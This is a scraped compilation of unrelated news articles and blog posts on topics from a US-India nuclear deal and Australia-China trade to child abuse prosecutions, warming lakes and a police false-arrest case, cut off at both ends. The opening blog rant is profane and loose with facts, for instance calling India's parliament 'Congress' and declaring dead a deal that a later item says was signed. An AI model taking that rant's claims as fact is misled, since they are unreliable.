Minister Singh while he was in Nigeria today to hear the bad news that a proposed Indian-US nuke deal was going to get shot down in the Indian Congress. How bizarre is that story? US calls India in Nigeria . Confused enough yet? Let me clarify quickly… Almost all the major world powers which possess nuclear weapons have signed the Nuclear Non-Proliferation Treaty (NPT), which basically states that they won’t proliferate or distribute nuke technology to anybody else. However, I did say almost all. India , Pakistan and Israel are three states known to possess nuke technology, but who have not signed this treaty—and all for very, very different reasons too, which I won’t get into here. As you can imagine, this treaty is mostly to ensure that nobody is making nuke weapons, but nuke power technology is allowed by the NPT, which makes enforcement of it tricky…i.e. see IRAN in current events. Just know this for now: if you aren’t signed up for the treaty, then you are not allowed to access civilian nuke technology or buy fuel for nuke energy production either. Which is why India is stuck. But the US likes India ! The UN likes India ! Hell, everybody likes India ! Okay, maybe not Pakistan . But most of the world sees India as a multi-cultural society and stable democracy that is developing rapidly in the modern world. And since they already have the nuke technology, most think they can handle nuke energy. But that pesky NPT! What to do about that? Well, US President George Bush thought of what to do a few years back: bend it a little. In an effort to strengthen US-Indian ties, Georgie has been working tirelessly (okay, someone who works for Georgie has been working tirelessly) to make India the exception to this NPT rule. The United States-India Peaceful Atomic Energy Cooperation Act of 2006 is the legal framework for a bilateral pact between the US and India under which the US will provide access to civilian nuclear tech stuff and access to nuke fuel in exchange for IAEA-safeguards on civilian Indian reactors. In other words, the US will personally work with India to get them the goods (nuke energy technologies and fuel) and in return India promises to abide by all the major rules of the NPT (especially the ‘no proliferating’ part) and the IAEA—International Atomic Energy Agency—would also be participating to do inspections and enforce the rules. Everybody was all about this shit man! Mohammad El Baradei of the IAEA thought it was a good idea. Prime Minister Singh thought it was sweet that India would be getting all kinds of cheap fuel for his economy. Sweet! And the Bush Administration? Holy shit! They were tickled pink! Not only would the US get to make tons of money on selling India nuke secrets and fuel, but US corporations were going to be getting a hefty share of building the nuke plants to boot! And the US really wants the growing Indian economy to produce its own fuel….thereby lessening its demand for world oil…lower Indian demand means more left over for us! At cheaper prices too! President Bush whipped up this agreement overnight, got it passed by Congress and signed it into law in a hot shit minute. The IAEA was working out the details, and all that was left to do was have the Indians formally sign the treaty. Let’s get this game on! Win-win-win baby! Oops. Unfortunately it lost-lost-lost. That’s what the sad phone call from Nigeria to Air Force One was about earlier today. The Indian political system is one of those kind of freaky parliamentary systems where there is no clear cut political party in power. Like in the US right now, the Democrats control the House, the Republicans control the White House, etc. But in India , there is like 50 different parties in Congress, and for a Prime Minister to get any piece of legislation passed, he has to have a whole shitload of parties working together. He has to form a coalition government to get things done. You dig what I’m saying? The coalition is comprised of a bunch of different political parties that together form a majority. On top of that, this coalition that forms has the responsibility of electing the Prime Minister himself. Which means if enough folks in the coalition get pissed, they can actually crash the whole government by declaring a stalemate…in which new elections would be called for and a new Prime Minister picked. Long story short, that is where our main man Manmohan Singh found himself over this Indian-US nuke deal. A main party named BJP declared that India ‘s entering this agreement with the US would compromise their national security by limiting their weapons program. Worse yet, a bunch of Commie/Marxist parties declared their boycott of the nuke deal on the grounds that it made India a subservient pawn to the ‘imperialist policies of the U.S.A. ’. Dudes, did anyone tell those Indian commies that the Cold War is over? Read the papers man! Anyway, this rant is over. End game: Prime Minister Singh had to throw in the towel this weekend. If he would have pushed harder, there was a threat that the BJP and the commies could have gone for the government crash, so Singh let it drop. Singh has egg all over his face, because he swore this deal was going to go thru, and now he kind of looks like a dork. The Bush administration/The US takes a serious hit too because this was one of the only bright spots of foreign policy they have been able to muster for 7 years. They were really fired up to be making India a stronger ally. Oh well, that may still come to pass. But for now: no nukes in India , India is tied to oil dependence, and the US will have to figure out some new ways for people around the word to stop using all the oil that we want for ourselves. Go get’em fellas! Comments Please enable JavaScript to view the comments powered by Disqus. -Disrespect to China endangering trade: Stokes Updated Billionaire Kerry Stokes has warned that Australia's trade with China is at risk because of Australia's poor attitude towards the country. The Seven Network chairman has criticised Australian politicians for calling for political change during visits to China, describing them as disrespectful. He says Australia's attitude towards the sale of Cubbie Station to Chinese interests has been deemed as racist by influential Chinese bloggers. Mr Stokes, who was speaking at a conference on Australia-China relations in Sydney, says Australia needs to build a strong relationship with China to secure future trade. "In the future there'll be other nations around the world who will challenge us by providing what we offer at far more competitive prices," he said. "We want to be in a position then that prices are not the only reason that we trade with China, because in the future, [if] price is the only reason we trade with China, we will lose. "Make no mistake, we will lose." Mr Stokes says forging closer ties outside of mining is key to Australia's future prosperity. "Resources are finite, so build services like education, business and tourism; the most renewable resource we have and we can share with them. "University exchange is the best way of us being close. "China still wants Australia to invest in China and they desire a partnership and they desire it to be built on respect and mutually beneficial outcomes." 'Xenophobic claptrap' The comments were echoed by Treasurer Wayne Swan, who has called for an end to what he termed "xenophobic claptrap" about foreign investment from China. Speaking at the same conference, he said Australia must stop fear-mongering about foreign investment from China because, for the first time in history, Australia will not share a language or history with the world's largest economy. Mr Swan said the rise of China was one of the two defining economic events of our lifetime along with the global financial crisis. He said the resources boom would endure despite commodity prices having peaked last year. "While this transition will be difficult for some, we also need to understand that the resources boom will endure well beyond the boom in prices alone," he said. Topics: world-politics, business-economics-and-finance, international-aid-and-trade, trade, agricultural-policy, australia, china First posted -We applaud women who are able to make it through school while raising a child, but at the same time there are not a lot of resources available for moms in this situation. All colleges don’t exactly offer day care. One mom who clearly had no other options decided to bring her child to class. And her teacher responded in the most amazing way. According to EntertainmentWise, the following photo was snapped at a small college in Jerusalem: It was shared on Imgur, and has been viewed over a million times in the last two days. The caption reads: “So one of the students came with her kid, because she didn’t have a babysitter. The kid starts to cry in the middle of the class, so his mom, all embarrassed gets up to leave, and the professor took the kid from her, calmed him and continued teaching.” This is a professor who truly cares about the education of his students. Seriously. If only we could all behave that way to each other. Care for each other and treat each other with respect and kindness. That professor knows that the mother is doing everything she can to better her and her child’s future. I can’t even begin to imagine how much that probably meant to her – knowing that someone valued her education and supported her that much. Wow. In the middle of his lecture, instead of defaulting to being confused and annoyed that a child was in his class, he helped. He helped. Is this image worthy of over a million views and probably a ton of shares? Yes. Why? Because we so crave compassion that when we see it — it’s almost like an image from a fairy tale. Comments on the photo prove just how much it touched some people — even on the notoriously snarky Imgur site: Sure, you could argue that the student was being insensitive to her classmates, disruptive, and whatever other annoyed adjectives one could drum up. But instead, let’s turn our focus to a professor who proved that a simple gesture of kindness and compassion could really help one person — and really inspire millions of others. He could have told her to hurry up as she was gathering her child and her stuff. He could have rolled his eyes. He could have done nothing. There are always opportunities to make someone feel seen — like they matter. Good for you, professor. This photo just made our morning. Related post: Dropping Your Child Off At College -Bad news for Toyota Venza owners — the 2009 edition of the crossover SUV is the new hot target for Canadian car thieves. The Toyota model tops the Insurance Bureau of Canada's top 10 most frequently stolen vehicles in Canada. The 2009 Venza replaces the 2000 Honda Civic SiR, which was last year's No. 1 stolen vehicle and drops to third place this year. In at second this year among car thieves is the 1999 Honda Civic SiR two-door. Top 10 most stolen cars 2009 Toyota Venza 4-door 1999 Honda Civic SiR 2-door 2000 Honda Civic SiR 2-door 2006 Ford F350 Pickup Truck 4WD 2002 Cadillac Escalade EXT 4-door AWD 2006 Chevrolet TrailBlazer SS 4-door 4WD 2007 Ford F350 Pickup Truck 4WD 2001 Pontiac Aztek 4-door AWD 1998 Acura Integra 2-door 1999 Acura Integra 2-door The insurance bureau says high-end vehicles are often targeted by criminal organizations that strip them for parts or resell them to unsuspecting consumers. "Consumers need to be aware when they're in the market for used vehicles or parts," said Rick Dubin of the insurance bureau. "Generally, Quebec stolen vehicles — like the Venza — are ending up in the Port of Montreal, as thieves appear to be seeking a quick distribution of the vehicles," Dubin said. While auto theft is a big business, Dubin said the numbers are dropping. "The good news is that statistics show that in 2010, the number of stolen vehicles in Canada — approximately 93,000 — was down 15 per cent from 2009," Dubin said. "The bad news is that recovery rates for stolen vehicles are continuing to decline," he added. -Ah, Disney World — a collection of whimsically themed structures built on top of a swamp, in which fully-grown adults gambol about in rodent costumes cooing at the assembled youth of America. While this magical bog may seem to be a factory of simple, innocent fun, it hides a darker underbelly: Disney World is a veritable hellscape for Manhattan families who are just too rich to wait on line. Thank the Disney Gods (which probably look like a hat with a glove attached to it and a white lady in a wig) that Manhattan's elite are so plucky and inventive. They've figured out a way to cut the massive lines at the resort — by hiring a tour guides with a disabilities to pose as their family members so that their own children can bypass everyone else! Woohoo! Capitalism! According to The New York Post, these "black market Disney guides" allegedly can be hired through a (not Disney affiliated) service called Dream Tours. The company, which states on its homepage that its specializes in wheelchair accesible travel, charges $130 an hour — or $1,040 for an eight-hour day. According to the "black market Disney" customers, it's an awesome and great plan to hire a wheelchair-bound guide, because each guest with a wheelchair or motorized scooter is allowed to bring six other people with him/her to a "more convenient entrance." Disney Tours does officially offer a VIP guide service, complete with line-cutting fast passes, for $310 - $380 an hour, but, like, what's the point in using your wealth to wield advantages over others if you're not being as exploitative as humanly possible? Furthermore, according to social anthropologist Dr. Wednesday Martin, this service also functions as a status symbol amongst certain circles. You must be referred by someone in-the-know in order to use the wheelchair tour service as an able-bodied client, so Dream Tours has become a means of "affirming that you are one of the privileged insiders who has and shares this information." It goes without saying that all of this is truly gross. To think it's in any way appropriate, as an able-bodied person, to take advantage of systems that have been put in place to make life easier for those with physical disabilities is disgusting; to do so in order to assert your extreme privilege is despicable. It's wonderful (and necessary!) that there's a Disney tour service out there catering to those with special needs; to co-opt it as a means of further spoiling advantaged rich kids is shameful, oblivious, and demeaning. Advertisement -Four relatives were indicted Monday in the forced abortion of a Dallas teen in 2013 who police say was raped by a family member. Police say the relatives beat and kicked the girl for six hours, leading her to give birth to a stillborn baby, which they then tried to burn on a charcoal grill to cover up their crime. Cedric Jones, 27, Sharon Lee Jones, 45, Lonnell McDonald, 27, and Cecila McDonald, 25, are all charged with engaging in organized crime. The underlying crime is aggravated assault with a deadly weapon, alleged to be the defendants’ hands and feet, according to the grand jury indictments. They are accused of beating a then-14-year-old girl who was eight months pregnant at their home in the 1200 block of North Master’s Drive. At the time of the rape, the girl was a virgin, police said. According to a police affidavit, the relatives pinned the girl’s arms down while Lonnell McDonald sat on her stomach, “repeatedly bouncing up and down.” The family members kicked and punched her stomach as well. Cecila McDonald told the girl, “You ain’t about to get my kids taken away from me,” as Lonnell McDonald laughed, according to the affidavit. The girl was in extreme pain, and Sharon Jones told her to “shut up” and cry into a pillow, police said. The girl said the attack didn’t stop until she began to bleed heavily. Her baby was stillborn about two hours later, police said. The rape suspect, Robert Joseph Cayald, 22, has not been indicted, though he was arrested on a charge of aggravated sexual assault. All five defendants remain in Dallas County Jail in lieu of $150,000 bail each. The girl, who is now 16, came forward to police in May, three years after the rape and two years after the forced abortion. She said she stayed quiet because she was embarrassed. She’s now in the custody of Child Protective Services, along with six other children from the family, ages 15, 14, 9, 7, 6 and 3. -According to new research, we can now add the world's freshwater lakes to the ever-growing list of at-risk environmental entities. A ferry crosses Lake Albert, Uganda, one of the Great Lakes of Africa. (Photo: Wikimedia Commons) Fill in the blank: "Climate change is the biggest threat to ____" There are so many correct answers to choose from—coral reefs, polar bear survival, national security, or public health not least among them—the remark is starting to sound like a bit of a broken record. And now, according to a new study funded by the National Aeronautics and Space Administration and the National Science Foundation, we can add the world's freshwater lakes to the ever-growing list of at-risk environmental entities. ADVERTISEMENT Thanks for watching! Visit Website The study, published in Geophysical Research Letters, examined more than half of the world's freshwater across six continents. The researchers found that, between 1985 and 2009, lake surface water temperatures "rose rapidly," according to satellite temperature data and ground measurements taken from more than 230 lakes worldwide. On average, the world's lakes are warming around 0.61 degrees Fahrenheit, or 0.34 degrees Celsius each decade—rates of warming faster than both the ocean and the atmosphere. ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website "The widespread warming suggests large changes in Earth's freshwater resources and their processes are not only imminent but already under way." Warming patterns aren't uniform. Lakes with the highest rates of warming are also experiencing less cloud cover in the summer, including the Great Lakes and lakes throughout Northern Europe, which are warming "significantly faster" than the global average, researchers found. Ice-covered lakes happen to be warming faster than ambient air temperatures, and even the world's deepest ice-covered lakes are warming twice as fast as the air around them. The consequences of warmer lakes are profound—from threatened water security as water levels evaporate and decline, to economic stress among communities who depend on fisheries for revenue, like the Great Lakes of Africa, which supports Uganda's economy as one of world's largest producers of freshwater fish. Although lakes in southeastern North America are warming significantly slower than the global average, the most minute of temperature changes can be detrimental on a lake's ecosystem. Scientists predict algae blooms—which can leave lake water devoid of oxygen—will increase by 20 percent thanks to warming waters. Algae blooms, which are toxic to fish and other sea creatures, are projected to increase by five percent. Methane—25 times more powerful than carbon dioxide when studied across 100-year time scales, according to NASA—could increase by four percent throughout the next decade as well. "The widespread warming reported here suggests that large changes in Earth's freshwater resources and their processes are not only imminent but already under way," the researchers write. And not a moment too soon to start assessing adaptation and mitigation efforts to save them. "Catastrophic Consequences of Climate Change" is Pacific Standard's year-long investigation into the devastating effects of climate change—and how scholars, legislators, and citizen-activists can help stave off its most dire consequences. -(Reuters) - Law enforcement said they were making progress on Saturday ending a disturbance at a federal correctional facility in southern Texas were as many as 2,000 inmates were protesting medical services, according to a published report. The disturbance began early Friday at the Willacy County Correctional Center, which primarily holds immigrants who entered the United States illegally, and is run by the private company Management & Training Corp, the San Antonio Express-News reported. The prison facility in Raymondville is about 40 miles (64 km) from the Mexican border. The unrest, which prison officials said was not a riot, began when prisoners refused to come to breakfast or report for work to protest medical services at the facility, the Express-News and local broadcaster KGBT-TV reported. The inmates broke out of their housing structures and converged in the recreation yard, setting fire to several kevlar domes, or tents, that serve as prison housing, the newspaper said. Management & Training Corp could not immediately be reached for comment about the standoff. By Saturday afternoon, the disturbance was almost under control, the newspaper said, citing the Willacy County sheriff and a prison spokesman. Authorities said there had been no serious injuries during the 36-hour standoff. The Texas Department of Public Safety, the Willacy County Sheriff’s Office, Texas Highway Patrol troopers, Texas Rangers, and other agencies remained at the facility, the newspaper said. -Aziz Ansari poses on arrival for the GQ Men of the Year Party at Chateau Marmont on Sunset Blvd., in Hollywood, California, on November 13, 2012. AFP PHOTO / Frederic J. BROWN (Photo credit should read FREDERIC J. BROWN/AFP/Getty Images) Aziz Ansari, the noted food-loving standup comic and star of 'Parks and Recreation" has never had a shortage of good things to say about his favorite eats. On Sunday, Ansari -- apparently running late for his flight out of Chicago's O'Hare International Airport -- took to Twitter to frantically find someone who could help him secure a torta from celebrity chef Rick Bayless' Torta Frontera. The comedian was apparently in Chicago over the weekend and forgot about the two airport locations until it was too late; Ansari told his more than 2.4 million Twitter followers he would reimburse someone and offer them free tickets to his next Chicago show if a few tortas could be secured before takeoff. The hungry funnyman even tried to leverage his Executive Platinum status with American Airlines to get the pre-flight meal. (See the slideshow below to learn if Aziz got his torta.) HuffPost took a look back at some of Ansari's favorite moments with Chicago food and it's pretty clear that while many options aren't budget-friendly, the guy has good taste. -The creep accused of getting an 11-year-old pregnant wants a court to believe he thought it was his wife the whole time. And if you don't think this story could get worse -- or more bizarre -- just wait. The girl was a friend of Michael Lacy's daughter. She was in the house for a sleepover. West Virginia TV station WSAZ says 36-year-old Lacy -- whose dental hygiene leaves something to be desired by the looks of him -- told police he'd taken Lortab and Xanax the night of the sleepover. Then he tells the cops he woke up to someone kissing his neck, and figuring it was his wife, he kissed back. Of course he doesn't remember anything else here -- he took all those painkillers. The girl -- who was a virgin at the time -- is now nine weeks pregnant, and Lacy is facing sexual assault charges. The horror of the story leads to a host of questions, from where was the mother at this time? Who takes serious narcotics when they're supposed to be in charge of a group of pre-teens? And how did an 11-year-old become pregnant? Four years ago Britain announced its first official "youngest mother" was a girl who was the same age -- 11. The world's youngest ever seems to be a 5-year-old Peruvian girl. Now with puberty striking kids as young as 4 -- and more and more of them -- these sad stories are becoming more common according to researchers. Girls are being compelled to act the age they look rather than the age they are, and they're often coerced into sexually mature relationships that don't meet their emotional age. Whether it's by a boy their own age closer to their age or an adult, they're being victimized. Add to it the fact that the presence of a menstrual cycle enables the body to become pregnant, and it's compounding the tragedy of sexual assault with the stigma of being pregnant at such a young age. Image via WSAZ -17 Year old Girl Invents Web App that detects Breast Cancer, Makes Everyone Else Feel Inadequate If you feel like you’ve accomplished something great today, then you should probably ignore this story about a 17 year old girl who invented a web app to help detect breast cancer. Brittany Wenger, a student at Florida high school, was disappointed in the number of non-invasive procedures used to detect breast cancer, along with their relatively inconclusive results. As you do when you’re faced with a problem, you find a solution, and boy did she ever do that. “I taught the computer how to diagnose breast cancer,” she says. Talk about an understated statement of fact. Brittany took first place in this year’s Google Science Fair for this achievement. At the age of 17, she has achieved something no ordinary physician, scientist, or computer engineer could have done. The web app utilizes artificial neural networks, which are basically coded computer programs that are trained to think like the human brain. What sets them apart from the human brain though is that they can detect patterns that are “too complex for mere humans,” Brittany says. The more and more data these networks process, the better and more accurate they get. While the inner workings of how this process is done are highly confusing to most of us, people are recognizing Brittany for the incredible job she’s done with this project. With so many doctors utilizing iPads and iPhones in the hospital, this development could prove to be a boon for a number of patients in early detection, which is so crucial when it comes to any types of cancer. If you’d like to check out the web app yourself, called Cloud4Cancer Breast Cancer Detection, please do so yourself. In the meantime, let’s hope that Brittany continues her work, and that she inspires a multitude of young minds to carry on in her footsteps. Share on Facebook. -Alexander Kristoff could ride two Grand Tours in 2016 as he targets the sprints, Classics and the end of season world road race championships, Norwegian website Procycling.no has reported. Related Articles Kristoff wins GP Ouest France Plouay Kristoff narrowly misses Worlds podium and defends team tactics 2016 Giro d'Italia race route officially unveiled in Milan Kristoff ready to face down all comers in Spring Classics The 28 year-old Katusha sprinter won 20 races in 2015, including the Tour of Flanders, but missed out on victory at the Tour de France and was fourth in the world championships in Richmond behind Peter Sagan. A heavy race programme meant he was in action for 81 days in 2015 and he also became a father in the summer. His coach and Katusha consultant Stein Ørn told Procycling.no that Kristoff will follow a similar programme in 2016, with the world championships in Qatar the biggest objective of the year. He will chose between riding the Giro d’Italia and the Tour of California depending on if the Katusha team finalises a US-sponsor for 2016. The spring Classics will also be major objectives, with Ørn struggling to find sufficient time for rest and recover periods during the long 2016 season. As in 2015, Kristoff will begin his 2016 at the Tour of Qatar in February and stay in the Gulf for the hillier Tour of Oman. He will get a taste of the cobbles by riding Omloop Het Nieuwsblad and Kuurne-Brussel-Kuurne. Paris-Nice will be the Norwegian sprinters final stage race before Milan-San Remo, E3 Harelbeke, Gent-Wevelgem, Three days of De Panne, the Tour of Flanders, Scheldeprijs and Paris-Roubaix. Kristoff will take a break in late April before heading to California or Italy. If he does ride the Giro d’Italia, he is expected to focus on the expected sprint stages in the first two weeks before leaving the race before the mountain stages as so many other sprinters often do. Kristoff last rode the Giro d’Italia in 2012 –his first season with Katusha. He finished second in a sprint behind Mark Cavendish in Cervere and the team was second in the Verona team time trial. Kristoff is set to return to the Tour de France but will not ride the Vuelta a Espana because the Spanish Grand Tour ends a month before the 2016 world road race championships in Qatar (October 9-16). Instead he will ride the Arctic Race of Norway (Aug 10-14), the Tour des Fjords (Aug 31-Sept 4) and the Eneco Tour (Sept 19-25). The Norwegian sprinter’s lead out train of Marco Haller, Jacopo Guarnieri and new signing Michael Mørkøv (from Tinkoff-Saxo) are all expected to follow a very similar race programme. Final details and confirmation of Kristoff’s goals for 2016 are expected to be confirmed at the team first training camp in Spain in December. -Back in 2004, Jim Gilchrist, a retired Marine and the founder of the California Minutemen Project, emailed a few dozen friends and family suggesting that concerned civilians personally combat illegal immigration by traveling to the Arizona border with him. Gilchrist lives in Orange County, Calif., but the Arizona border was the most heavily trafficked and sparsely patrolled. That email reached thousands of people and touched a nerve. Hundreds showed up in April 2005 to patrol the border. Some of them brought floppy hats, lawn chairs, binoculars and American flags. Others toted guns and protest signs. The group banned neo-Nazis from attending, though some came anyway. A movement was born. Gilchrist estimates he did 4,000 radio and TV interviews over the next five years as his group's membership swelled and the media attention exploded. "It was just literally overwhelming," he said. But today, the once-thriving Minutemen anti-illegal immigration fraternity has all but died out. No one knows exactly why the groups fizzled so quickly, but researchers and former border-watching leaders say infighting and bad press have taken a toll. At the same time, the tea party movement started to rise, which usurped members and stole the groups' thunder. Still, the movement's message and popularity have left an indelible mark on the Republican Party, whose leaders underestimated the anger in their base over illegal immigration. The GOP, which at the time was considering legislation to legalize undocumented immigrants in a version of Ronald Reagan's 1986 immigration reform law, rejected the popular movement at first. President George W. Bush dismissed the Minutemen as "vigilantes," while Customs and Border Protection Commissioner Robert Bonner said he worried the volunteers would get hurt or hurt illegal immigrants. Seven years later, Gilchrist tells Yahoo News that the Minutemen Project has petered out amid expensive legal battles over control of the group. Some of his former comrades attempted to fire him as president, alleging that he was using the group's funds inappropriately. He countersued for defamation and lost, but eventually won back control of the group in court. Outspoken activists mainly interested in money and fame infiltrated the ranks and tried to take over, says Gilchrist, distracting from the original goal of border watching. "There are bad apples," he said. "There are some in any group." Meanwhile, the tea party emerged and absorbed the groups' concerns about illegal immigration and many of their leaders. "You see an endless amount of splintered groups that range from a membership of one to a membership of 20," Gilchrist said. "No longer will you have a Minutemen organization going to the border with thousands of people." Last year, he began organizing a border rally planned for this May, but dropped the idea due to lack of interest and continued infighting. "I just decided it wasn't a good idea," he said. "There was just too many negative feelings." The last Minutemen Project outing to the border was in May 2011. The downward trend is reflected in all the local Minutemen groups that sprouted up from 2005 to 2010 and then tapered off. According to an analysis by Leonard Zeskind, who researches and advocates against what he calls far-right, racist or anti-Semitic groups, the number of Minutemen organizations dropped by more than half from 2010 to 2011. Only 53 Minutemen groups showed signs of activity last year—down from a high of 115 in 2010—and none of them are currently patrolling the border. Zeskind blames the tea party for absorbing a good chunk of the movement. The widely publicized murders perpetrated by a former Minutemen leader against a Hispanic child and her father also contributed to the groups' decline. Heidi Bierich, director of the Southern Poverty Law Center's Intelligence Project, says that the only organized volunteers patrolling the border right now are the ones originally not welcome: neo-Nazis. But it's not all bad news for border activists that the tea party has effectively absorbed them and their mission. More than 100 leaders of local anti-illegal immigration groups have now joined tea party chapters, according to Zeskind, giving their message a bigger platform. And even as their movement dissipates, their message grows louder. "The Minutemen put immigration on the map big-time," Bierich says. One example of the tea party-Minutemen melding is the Rally for Arizona in Phoenix in 2010, which tea partyers organized and attended. Its mission: to support Gov. Jan Brewer's state-level crackdown on illegal immigrants. Then there was the Mississippi Tea Party's push for that state's anti-illegal immigration law, which is modeled after the laws in Alabama and Arizona. -It was hardly a secret that Herman D. Farrell Jr. had planned to retire from the New York State Legislature. The governor feted him at a goodbye breakfast in June. Colleagues sent the 85-year-old assemblyman off to shouts of “for he’s a jolly good fellow.” They even named a state park after him. But Mr. Farrell, known to most as Denny, did not retire when all these festivities occurred. He called it quits earlier this month, saying it marked the anniversary of his first government job. The timing ensured that Mr. Farrell could essentially handpick his Democratic successor, sidelining voters in his Upper Manhattan district after four decades of his incumbency. Stepping down in June would have cleared the way for an open Democratic primary in September. Instead, with the deadline passed for filing election petitions, party insiders gathered this weekend to formalize the choice of Mr. Farrell’s chief of staff. For decades, seats in the New York State Legislature have traded hands this way in what amounts to one of the last, most powerful vestiges of Tammany Hall-style politics in the state. Election laws here grant politicians and local party bosses and county committees vast sway in picking candidates when legislators leave office in the middle of their term — whether they retire early, pass away, depart for another job or are carted away in handcuffs. -An Open Letter to People Who Think They Have Found the Artifact that Will Change Archaeology As We Know It Dear People Who Think They Have Found the Artifact that Will Change Archaeology As We Know It, I am currently in the 25th grade. If you ask me to identify your artifact please do not call me “little lady” or turn to face the undergraduate male standing beside me to answer the question I just asked you. It is also bad form to send me an email with a subject line THANK YOU FOR HELPING ME WITH MY PHALLUS PENIS HAMMER . I realize that you are appreciative of the long and uncomfortable half hour we spent together as I explained why your stone maul could not be both “nipple topped” and “phallic” at the same time. I am, however, a state employee, the university reads my emails, and my boss is getting the wrong impression. If you are planning to contact me to identify your artifacts perhaps you could consider the following advice: If your only description over the phone is that “it fits nicely in your hand,” it is not an artifact. If it was an artifact you would say it looks like an axe, or an arrowhead, or a stone phallus and then I would know I was in for another uncomfortable half hour (see above). If you found a dinosaur egg in a stream bed it is not an artifact, it is a fossil. Please contact the Paleontology Department. If that stream bed is full of similarly shaped rocks, if there are in fact “hundreds of ’em,” you have not discovered the lost dinosaur egg graveyard. My attempts to talk you through the scientific reasoning behind why this is not the case have obviously been a complete failure. If you found a petrified heart or eyeball or any other organ see reference to dinosaur eggs above. Also, expect some laughter if you reach a paleontologist by phone. If you have found a footprint preserved in stone that belonged to Bigfoot, Sasquatch, Yeti or any other scientifically unconfirmed beast, please write to the Mammalogy Department. If you found a tool made by one of the aforementioned creatures, we are still debating whether or not you have contacted the right department. And it is not an artifact. Similarly, do not contact me about finding pieces of UFO’s. Archaeologists study artifacts made by humans, not extraterrestrials. If you insist upon believing that “the man” is for some reason controlling the publication of archaeological discoveries, why are you writing to the employee of a state owned institution to unveil your unprecedented find? I really do not appreciate being accused of being owned by the aforementioned “man,” being a liberal and slightly socialist leaning scientist. If you already believe that I am going to cover up your discovery, why call? If a crystal is speaking to you please get help. Similarly, if you have found mud people in your backyard I suggest you call a specialist. I am happy to hear that your sister is concerned about you crawling around on your hands and knees looking for their tiny coffins that hang from tiny ropes. I also can do nothing about Taiwan Satellites (although you enclosed an excellent sketch) and the Blackhawk helicopters circling the YMCA . As the museum where my office is located for some reason does not sort our mail according to the new 9-11 commission recommendations, please include a return address on your package. Otherwise I will be forced to open your letter/tin foil wrapped package with tweezers and a scalpel while wearing gloves and a protective mask. Although this is highly entertaining for the undergraduates who work in my lab it is unlikely that I will take your request seriously. Please do not call me if you are drunk, or if you wish to fly me to an undisclosed location in the desert on your private jet to view a large stone circle. If it is such an important find, why will you not tell me where it is? I can only assume that it is because “the man” was listening in on our conversation and thus please refer to the discussion above. Don’t get me wrong, I really do want to see your cool artifacts. However, I must tell you, that more than half of the people who come to see me actually just have plain old boring rocks. That’s not a judgment. I am sure the Geology Department will be interested in seeing your rocks. At least that is what I will tell your adorable 8-year-old son when you bring him to my office to identify the “artifact” he found that “fits so nicely in his hand.” Really, why do you torture me so? Sincerely, Stephanie Evans -New Delhi: Capping years of negotiations, India and Japan on Friday signed a bilateral civilian nuclear cooperation agreement seen as crucial for energy-starved India to access sensitive technologies to generate clean electricity. The pact is a major achievement for India as it is Japan’s first civilian nuclear cooperation pact with a country that has not signed the nuclear Non-Proliferation Treaty. It was inked in Tokyo in the presence of Prime Minister Narendra Modi and his Japanese host Shinzo Abe. Modi is on a three-day visit to Japan for the annual summit between the two prime ministers. That it was signed with Abe at the helm of affairs in Japan is also key, given that he has been keen to forge close links with India to counter the rise of China. Ties between India and Japan have warmed considerably since Abe returned to office in 2012. The deal has been many years in the making because India was reluctant to limit its option to carry out more atomic weapons’ tests—in addition to the ones carried out in 1998—in case the need arose. And Japan—being the only country in the world to have suffered the impact of nuclear weapons being dropped on it—was uncomfortable with India having a nuclear weapons programme outside the nuclear non-proliferation regime. Also read: Why India is courting Japan “A landmark deal for a cleaner, greener world! PM @narendramodi and PM @AbeShinzo witness exchange of the landmark Civil Nuclear Agreement," said Indian foreign ministry spokesman Vikas Swarup in a Twitter post. Modi later described the signing of the pact as “a historic step". The ‘Cooperation in the Peaceful Uses of Nuclear Energy’ pact provides for “the development of nuclear power projects in India and thus strengthening of energy security of the country," an Indian foreign ministry statement said. “The present agreement would open up the door for collaboration between Indian and Japanese industries in our Civil Nuclear programme," it said. Former joint secretary (disarmament) and ex-Indian ambassador to France Rakesh Sood said the pact “enables us to obtain high-quality components for nuclear reactors, especially ones that we are negotiating for with Westinghouse (Electric Co.) and (French) Areva SA." Westinghouse Electric Company is a subsidiary of Japan’s Toshiba Corp. Areva, too, accesses key reactor components from Japanese firms. India signed a landmark nuclear deal with the US in 2008, clearing the path for the country to source nuclear power plants and technology from international markets. But with Japanese companies in possession of critical technologies, such as steel shields covering a nuclear reactor core, an accord with Japan was pivotal for India. During the last prime ministerial summit in New Delhi in December, India and Japan announced that they had reached a basic agreement on the pact. India currently has 5.7 gigawatts (GW) of nuclear power generation capacity. This accounts for 2% of the total power capacity, but this is expected to change with a sharp increase in power generation from atomic plants over the next 16 years as Asia’s third largest economy moves away from fossil fuels for its energy needs. India’s Department of Atomic Energy’s target is to have 63GW of nuclear power capacity by 2032. Among the other agreements signed was one to skill “30,000 Indian youth in the Japanese styled manufacturing in the next 10 years", a government statement said. “This would be achieved through the programmes of Japan-India Institute for Manufacturing (JIM) and the Japanese Endowed Courses (JEC) in select Engineering colleges," it said. Pacts on cooperation in space, earth sciences, agriculture, forestry and fisheries, transport and urban development and sports were the others signed. Earlier in the day, in a meeting with Japanese business leaders, Modi said his government was pursuing a new direction of economic reforms. He said his government was resolved to make India the most open economy in the world. Modi started his schedule on Friday with an audience with Japanese emperor Akihito. -A POLICE officer at the centre of a false arrest case has been suspended from duty as a result of a judge accusing him of ‘freestyle lying’. Valerie Cadman-Khan was awarded £20,000 in damages after she sued Cleveland Police after being handcuffed in front of her then 12-year-old daughter Aimee, who has Down’s Syndrome. The 55-year-old mother-of-five, from Stainton, near Middlesbrough, won her case at Teesside County Court after the judge branded arresting officer Detective Sergeant Colin Helyer a ‘liar’. Today, a Cleveland Police spokesperson confirmed an officer had been suspended from duty but would not confirm their identity. “We can confirm that a serving officer has been suspended from duty while an internal investigation continues," she said. "The Force will also be making a referral to the Independent Police Complaints Commission regarding this matter.” Mrs Cadman-Khan was arrested after allegedly leaving her daughter unsupervised in a garden for 45 minutes but, during the hearing, the judge heard DS Helyer, “provided false information to Middlesbrough Council’s child abuse investigation unit” and then tried to mislead a court with what a judge branded “freestyle lying”. Her arrest came during a dispute with bailiffs over an unpaid council-tax bill which led police to be called to the Middlesbrough home of her ex-husband on the morning of November 13, 2008. In her award judgement, Judge Gillian Matthews QC said Sgt Helyer’s actions that day “were completely disproportionate”. “I completely understand that policing can be a difficult and dangerous job,” she said. “This however was not one of those days. “If Sgt Helyer could not cope with this lady, who was clearly rushing out to attend upon her child as he had 